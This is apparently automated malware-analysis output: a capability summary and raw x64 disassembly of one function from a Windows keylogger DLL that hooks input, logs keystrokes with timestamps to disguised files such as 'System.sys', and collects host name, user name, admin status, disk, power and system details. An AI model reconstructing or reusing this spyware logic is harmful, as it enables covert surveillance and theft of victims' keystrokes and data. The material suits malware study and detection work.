Function at 0x180106b75
Capabilities:
Create thread
Delete file
Get common file path
Get disk information
Get disk size
Get graphical window text
Get hostname
Get networking parameters
Get session user name
Get storage device properties
Get system information on windows
Log keystrokes via polling
Open clipboard
Query environment variable
Read clipboard data

Disassembly:
jmp 0x18012f7d0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x6b20
call fcn.18010cd72
sub rsp, rax
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x1ac8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x6b48]
mov qword [rbp + 0x6a88], 0xfffffffffffffffe
mov rax, qword [0x1803bb0a8]
xor rax, rbp
mov qword [rbp + 0x6ac8], rax
lea rcx, [0x1803e7045]
call fcn.18010520c
lea rdx, [0x180336768]
lea rcx, [rbp + 8]
call fcn.18010c67e
nop
cmp dword [rbp + 0x6af0], 0
jge 0x18012f8aa
lea rdx, [0x180336770]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov r9, qword [rbp + 0x6b00]
mov r8, qword [rbp + 0x6af8]
mov edx, dword [rbp + 0x6af0]
mov rcx, qword [0x1803e6018]
call qword [sym.imp.USER32.dll_CallNextHookEx]
mov qword [rbp + 0x65b8], rax
lea rcx, [rbp + 8]
call fcn.180107ce1
mov rax, qword [rbp + 0x65b8]
jmp 0x1801340d3
mov rax, qword [rbp + 0x6b00]
mov qword [rbp + 0x48], rax
cmp qword [0x1803e6018], 0
je 0x180134031
xor ecx, ecx
call fcn.1801498e0
mov qword [rbp + 0x68], rax
lea rcx, [rbp + 0x68]
call fcn.180149620
mov qword [rbp + 0xc68], rax
lea rax, [rbp + 0xc88]
lea rcx, [0x1803367bc]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xc8b]
lea rcx, [0x1803367c0]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xc8e]
lea rcx, [0x1803367c4]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xc91]
lea rcx, [0x1803367c8]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xc94]
lea rcx, [0x1803367cc]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xc97]
lea rcx, [0x1803367d0]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xc9a]
lea rcx, [0x1803367d4]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0xc68]
movsxd rax, dword [rax + 0x18]
imul rax, rax, 3
lea rax, [rbp + rax + 0xc88]
mov rcx, qword [rbp + 0xc68]
mov ecx, dword [rcx + 0x10]
inc ecx
mov rdx, qword [rbp + 0xc68]
mov edx, dword [rdx + 0x14]
add edx, 0x76c
mov rdi, qword [rbp + 0xc68]
mov edi, dword [rdi]
mov dword [rsp + 0x40], edi
mov rdi, qword [rbp + 0xc68]
mov edi, dword [rdi + 4]
mov dword [rsp + 0x38], edi
mov rdi, qword [rbp + 0xc68]
mov edi, dword [rdi + 8]
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0xc68]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x20], eax
mov r9d, ecx
mov r8d, edx
lea rdx, [0x1803367d8]
lea rcx, [rbp + 0x90]
call fcn.1801052b1
mov rax, qword [rbp + 0xc68]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rbp + 0xc68]
mov r9d, dword [rax + 4]
mov rax, qword [rbp + 0xc68]
mov r8d, dword [rax + 8]
lea rdx, str._02d:_02d:_02d
lea rcx, [0x1803c22b0]
call fcn.18010bbd9
mov rax, qword [rbp + 0xc68]
mov eax, dword [rax + 4]
mov dword [0x1803bfa54], eax
lea rdx, [0x1803c22b0]
lea rcx, [rbp + 8]
call fcn.18010a57c
lea rdx, [0x1803c22b0]
lea rcx, [rbp + 0xcb8]
call fcn.18010c67e
nop
cmp dword [0x1803bfa50], 0
jne 0x180132b97
xor ecx, ecx
call fcn.1801498e0
mov qword [rbp + 0xcf8], rax
lea rcx, [rbp + 0xcf8]
call fcn.180149620
mov qword [rbp + 0xd18], rax
lea rax, [rbp + 0xd38]
lea rcx, [0x1803367bc]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xd3b]
lea rcx, [0x1803367c0]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xd3e]
lea rcx, [0x1803367c4]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xd41]
lea rcx, [0x1803367c8]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xd44]
lea rcx, [0x1803367cc]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xd47]
lea rcx, [0x1803367d0]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xd4a]
lea rcx, [0x1803367d4]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0xd18]
movsxd rax, dword [rax + 0x18]
imul rax, rax, 3
lea rax, [rbp + rax + 0xd38]
mov rcx, qword [rbp + 0xd18]
mov ecx, dword [rcx + 0x10]
inc ecx
mov rdx, qword [rbp + 0xd18]
mov edx, dword [rdx + 0x14]
add edx, 0x76c
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0xd18]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x20], eax
mov r9d, ecx
mov r8d, edx
lea rdx, [0x180336820]
lea rcx, [0x1803c1cd0]
call fcn.180109a05
mov rax, qword [rbp + 0xd18]
movsxd rax, dword [rax + 0x18]
imul rax, rax, 3
lea rax, [rbp + rax + 0xd38]
mov rcx, qword [rbp + 0xd18]
mov ecx, dword [rcx + 0x10]
inc ecx
mov rdx, qword [rbp + 0xd18]
mov edx, dword [rdx + 0x14]
add edx, 0x76c
mov rdi, qword [rbp + 0xd18]
mov edi, dword [rdi]
mov dword [rsp + 0x40], edi
mov rdi, qword [rbp + 0xd18]
mov edi, dword [rdi + 4]
mov dword [rsp + 0x38], edi
mov rdi, qword [rbp + 0xd18]
mov edi, dword [rdi + 8]
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0xd18]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x20], eax
mov r9d, ecx
mov r8d, edx
lea rdx, [0x1803367d8]
lea rcx, [0x1803c18e0]
call fcn.180108ec0
mov rax, qword [rbp + 0xd18]
movsxd rax, dword [rax + 0x18]
imul rax, rax, 3
lea rax, [rbp + rax + 0xd38]
mov rcx, qword [rbp + 0xd18]
mov ecx, dword [rcx + 0x10]
inc ecx
mov rdx, qword [rbp + 0xd18]
mov edx, dword [rdx + 0x14]
add edx, 0x76c
mov rdi, qword [rbp + 0xd18]
mov edi, dword [rdi]
mov dword [rsp + 0x48], edi
mov rdi, qword [rbp + 0xd18]
mov edi, dword [rdi + 4]
mov dword [rsp + 0x40], edi
mov rdi, qword [rbp + 0xd18]
mov edi, dword [rdi + 8]
mov dword [rsp + 0x38], edi
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0xd18]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
mov r9d, edx
lea r8, [0x1803c1cd0]
lea rdx, str._s__d
lea rcx, [0x1803c06d0]
call fcn.180109a05
mov edx, 0x108
lea rcx, [rbp + 0xd70]
call fcn.18010b37d
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.FileName.CAIOS
lea rcx, [rbp + 0xd70]
call fcn.1801070f7
nop
lea rdx, [0x1803c06d0]
lea rcx, [rbp + 0xd70]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [rbp + 0xd70]
call fcn.18010c813
lea rdx, [rbp + 0xe98]
lea rcx, [0x1803c1cd0]
call fcn.180149870
test eax, eax
je 0x18012fd79
lea rcx, [0x1803c1cd0]
call fcn.18010b044
lea rdx, [0x180334130]
lea rcx, [0x1803c1410]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x18012fdb2
mov r9d, 0x40
mov r8d, 2
lea rdx, str.ApplicationLog.log
lea rcx, [0x1803c15f0]
call fcn.180105676
cmp dword [0x1803bff38], 0
jne 0x180130001
mov edx, 0x110
lea rcx, [rbp + 0xef0]
call fcn.18010a009
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, str.System.sys
lea rcx, [rbp + 0xef0]
call fcn.18010a6e4
nop
mov rax, qword [rbp + 0xef0]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0xef0]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x18012fe93
mov edx, 0x108
lea rcx, [rbp + 0x1020]
call fcn.18010b37d
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.System.sys
lea rcx, [rbp + 0x1020]
call fcn.1801070f7
nop
lea rdx, [0x1803368b8]
lea rcx, [rbp + 0x1020]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [rbp + 0x1020]
call fcn.18010c813
nop
lea rcx, [rbp + 0x1020]
call fcn.180107f70
jmp 0x18012ffe6
lea rcx, [rbp + 0x1148]
call fcn.18010cb24
nop
lea rdx, [rbp + 0x1148]
lea rcx, [rbp + 0xef0]
call fcn.18010b8c8
lea rcx, [rbp + 0x1148]
call fcn.18010b01c
mov rcx, rax
call fcn.18010767e
mov dword [rbp + 0x1184], eax
cmp dword [rbp + 0x1184], 0
jg 0x18012ff62
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r9d, 0x40
lea r8, [0x180334498]
lea rdx, [0x1803368c0]
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
call sym.Keylogger.dll_int___cdecl_FreeHook_void_
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
xor ecx, ecx
call fcn.180105dfb
nop
mov qword [rbp + 0x65d8], 0
lea rcx, [rbp + 0x1148]
call fcn.180107ce1
lea rcx, [rbp + 0xef0]
call fcn.1801048e3
lea rcx, [rbp + 0xd70]
call fcn.180107f70
lea rcx, [rbp + 0xcb8]
call fcn.180107ce1
lea rcx, [rbp + 8]
call fcn.180107ce1
mov rax, qword [rbp + 0x65d8]
jmp 0x1801340d3
mov edx, 0x108
lea rcx, [rbp + 0x11b0]
call fcn.18010b37d
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.System.sys
lea rcx, [rbp + 0x11b0]
call fcn.1801070f7
nop
mov eax, dword [rbp + 0x1184]
dec eax
mov edx, eax
lea rcx, [rbp + 0x11b0]
call fcn.180104640
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [rbp + 0x11b0]
call fcn.18010c813
nop
lea rcx, [rbp + 0x11b0]
call fcn.180107f70
nop
lea rcx, [rbp + 0x1148]
call fcn.180107ce1
lea rcx, [rbp + 0xef0]
call fcn.18010a4b9
nop
lea rcx, [rbp + 0xef0]
call fcn.1801048e3
jmp 0x18013000e
lea rcx, str.System.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r9d, 0x40
mov r8d, 2
lea rdx, [0x1803c06d0]
lea rcx, [0x1803c1290]
call fcn.180105676
mov rax, qword [0x1803c1290]
movsxd rax, dword [rax + 4]
lea rcx, [0x1803c1290]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x180130089
lea rdx, [0x180336a60]
lea rcx, [rbp + 0xcb8]
call fcn.18010a57c
lea rdx, [rbp + 0xcb8]
lea rcx, [0x1803c15f0]
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov dword [0x1803bfa50], 1
lea rcx, [rbp + 0x1808]
call fcn.18010cb24
nop
mov dword [rbp + 0x1844], 0x14
lea rcx, [rbp + 0x6738]
call fcn.180105b67
lea rcx, [rbp + 0x6600]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x114
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1870]
lea rcx, [rbp + 0x6600]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x114
rep movsb byte [rdi], byte [rsi]
mov r8d, 0x104
lea rdx, [rbp + 0x16e0]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, [rbp + 0x1844]
lea rcx, [rbp + 0x12e0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x18013012f
lea r8, [0x180336a88]
mov edx, 0xc8
lea rcx, [rbp + 0x12e0]
call fcn.180107f4d
lea rdx, [rbp + 0x1844]
lea rcx, [rbp + 0x13d0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x18013015f
lea r8, [0x180336a88]
mov edx, 0xc8
lea rcx, [rbp + 0x13d0]
call fcn.180107f4d
lea rdx, [rbp + 0x15b0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jne 0x18013018d
lea r8, [0x180336a88]
mov edx, 0x104
lea rcx, [rbp + 0x15b0]
call fcn.180107f4d
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1801301ac
lea rdx, [0x180336a90]
lea rcx, [rbp + 0x14c0]
call fcn.180109fb4
jmp 0x1801301bf
lea rdx, [0x180336aa0]
lea rcx, [rbp + 0x14c0]
call fcn.180109fb4
cmp dword [0x1803bff38], 1
jne 0x1801301dd
lea rdx, [0x180336ab8]
lea rcx, [rbp + 0x1808]
call fcn.18010521b
jmp 0x1801301f0
lea rdx, [0x180336acc]
lea rcx, [rbp + 0x1808]
call fcn.18010521b
lea rdx, [0x180336ae0]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336b38]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336bb8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x12e0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336bd8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov edx, dword [rbp + 0x1874]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x180336bd0]
mov rcx, rax
call fcn.1801068a0
mov edx, dword [rbp + 0x187c]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336bf8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x13d0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336c10]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x14c0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336c28]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1803c18e0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336c40]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x15b0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336c58]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1803c1cd0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336c70]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x1808]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str._n
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336ae0]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336b38]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336bb8]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [rbp + 0x12e0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336bd8]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
mov edx, dword [rbp + 0x1874]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x180336bd0]
mov rcx, rax
call fcn.1801068a0
mov edx, dword [rbp + 0x187c]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336bf8]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [rbp + 0x13d0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336c10]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [rbp + 0x14c0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336c28]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c18e0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336c40]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [rbp + 0x15b0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336c58]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1cd0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180336c70]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [rbp + 0x1808]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str._n
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.1100
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
cmp dword [0x1803bff38], 0
jne 0x180130697
lea rdx, [0x1803358b0]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x1801306b9
lea rdx, str.1600
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2600
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1398]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180336ce4]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2601
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1578]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180336ce4]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2602
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1488]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180336d60]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2603
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1860]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180336ce4]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2604
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1720]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180336ce4]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2605
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c15c8]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180336ce4]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2606
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1888]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180336ce4]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2607
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2608
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c14b0]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180336f60]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2700
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1748]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180337008]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2701
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1798]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180337070]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2702
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c15a0]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180337110]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2703
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c13e8]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1803371f8]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.2800
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1410]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x180337270]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.3000
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1803c1528]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1803372b8]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180334130]
lea rcx, [0x1803c1578]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x180132a1c
lea rcx, [rbp + 0x19a8]
call qword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
test eax, eax
je 0x180130c74
movzx eax, byte [rbp + 0x19a8]
mov byte [rbp + 0x6a94], al
cmp byte [rbp + 0x6a94], 0
je 0x180130ab8
cmp byte [rbp + 0x6a94], 1
je 0x180130ac8
cmp byte [rbp + 0x6a94], 2
je 0x180130ad8
jmp 0x180130ae8
lea rax, [0x180337300]
mov qword [rbp + 0x19d8], rax
jmp 0x180130af6
lea rax, [0x180337310]
mov qword [rbp + 0x19d8], rax
jmp 0x180130af6
lea rax, [0x180337320]
mov qword [rbp + 0x19d8], rax
jmp 0x180130af6
lea rax, [0x180336a88]
mov qword [rbp + 0x19d8], rax
movzx eax, byte [rbp + 0x19a9]
mov byte [rbp + 0x6a94], al
cmp byte [rbp + 0x6a94], 1
je 0x180130b32
cmp byte [rbp + 0x6a94], 2
je 0x180130b42
cmp byte [rbp + 0x6a94], 4
je 0x180130b52
cmp byte [rbp + 0x6a94], 8
je 0x180130b62
cmp byte [rbp + 0x6a94], 0x80
je 0x180130b72
jmp 0x180130b82
lea rax, [0x180337330]
mov qword [rbp + 0x19f8], rax
jmp 0x180130b90
lea rax, [0x180337338]
mov qword [rbp + 0x19f8], rax
jmp 0x180130b90
lea rax, [0x180337340]
mov qword [rbp + 0x19f8], rax
jmp 0x180130b90
lea rax, [0x180337348]
mov qword [rbp + 0x19f8], rax
jmp 0x180130b90
lea rax, [0x180337350]
mov qword [rbp + 0x19f8], rax
jmp 0x180130b90
lea rax, [0x180336a88]
mov qword [rbp + 0x19f8], rax
mov r8, qword [rbp + 0x19d8]
lea rdx, [0x180337358]
lea rcx, [0x1803c0470]
call fcn.180108e48
mov r8, qword [rbp + 0x19f8]
lea rdx, [0x180337370]
lea rcx, [0x1803c05a0]
call fcn.180108e48
movzx eax, byte [rbp + 0x19aa]
cmp eax, 0xff
jne 0x180130be7
lea rdx, [0x180337388]
lea rcx, [0x1803c00e0]
call fcn.18010793a
jmp 0x180130c04
movzx eax, byte [rbp + 0x19aa]
mov r8d, eax
lea rdx, [0x1803373a8]
lea rcx, [0x1803c00e0]
call fcn.180108e48
cmp dword [rbp + 0x19ac], 0xffffffff
jne 0x180130c22
lea rdx, [0x1803373c8]
lea rcx, [0x1803c0210]
call fcn.18010793a
jmp 0x180130c3c
mov r8d, dword [rbp + 0x19ac]
lea rdx, [0x1803373e8]
lea rcx, [0x1803c0210]
call fcn.180108e48
cmp dword [rbp + 0x19b0], 0xffffffff
jne 0x180130c5a
lea rdx, [0x180337408]
lea rcx, [0x1803c0340]
call fcn.18010793a
jmp 0x180130c74
mov r8d, dword [rbp + 0x19b0]
lea rdx, [0x180337428]
lea rcx, [0x1803c0340]
call fcn.180108e48
mov dword [rbp + 0x1b14], 0x104
lea rdx, [0x180337444]
lea rcx, [rbp + 0x1a18]
call fcn.180108d7b
lea r9, [rbp + 0x1a88]
lea r8, [rbp + 0x1aa8]
lea rdx, [rbp + 0x1a68]
lea rcx, [rbp + 0x1a18]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov rax, qword [rbp + 0x1a88]
mov rcx, qword [rbp + 0x1aa8]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x1a48], rax
lea rcx, [rbp + 0x1ac8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rbp + 0x1b38]
call fcn.18010cb24
nop
lea rcx, [rbp + 0x1b78]
call fcn.18010cb24
nop
lea rcx, [rbp + 0x1bb8]
call fcn.18010cb24
nop
mov ecx, 0x2c
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x180130d26
lea rdx, [0x180336684]
lea rcx, [rbp + 0x1b38]
call fcn.18010521b
jmp 0x180130d39
lea rdx, [0x180337448]
lea rcx, [rbp + 0x1b38]
call fcn.18010521b
mov eax, 0x104
imul rax, rax, 0
lea rax, [rbp + rax + 0x1c00]
lea rdx, [rbp + 0x1b14]
mov rcx, rax
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
test eax, eax
jne 0x180130d83
mov eax, 0x104
imul rax, rax, 0
lea rax, [rbp + rax + 0x1c00]
lea r8, [0x180337468]
mov edx, 0x104
mov rcx, rax
call fcn.180107f4d
lea rcx, [rbp + 0x1b78]
call fcn.18010b01c
lea rdx, [rbp + 0x1b14]
mov rcx, rax
call qword [sym.imp.USERENV.dll_GetAllUsersProfileDirectoryA]
test eax, eax
jne 0x180130dc8
mov eax, 0x104
imul rax, rax, 0
lea rax, [rbp + rax + 0x1c00]
lea r8, [0x180337468]
mov edx, 0x104
mov rcx, rax
call fcn.180107f4d
lea rcx, [rbp + 0x1bb8]
call fcn.18010b01c
lea rdx, [rbp + 0x1b14]
mov rcx, rax
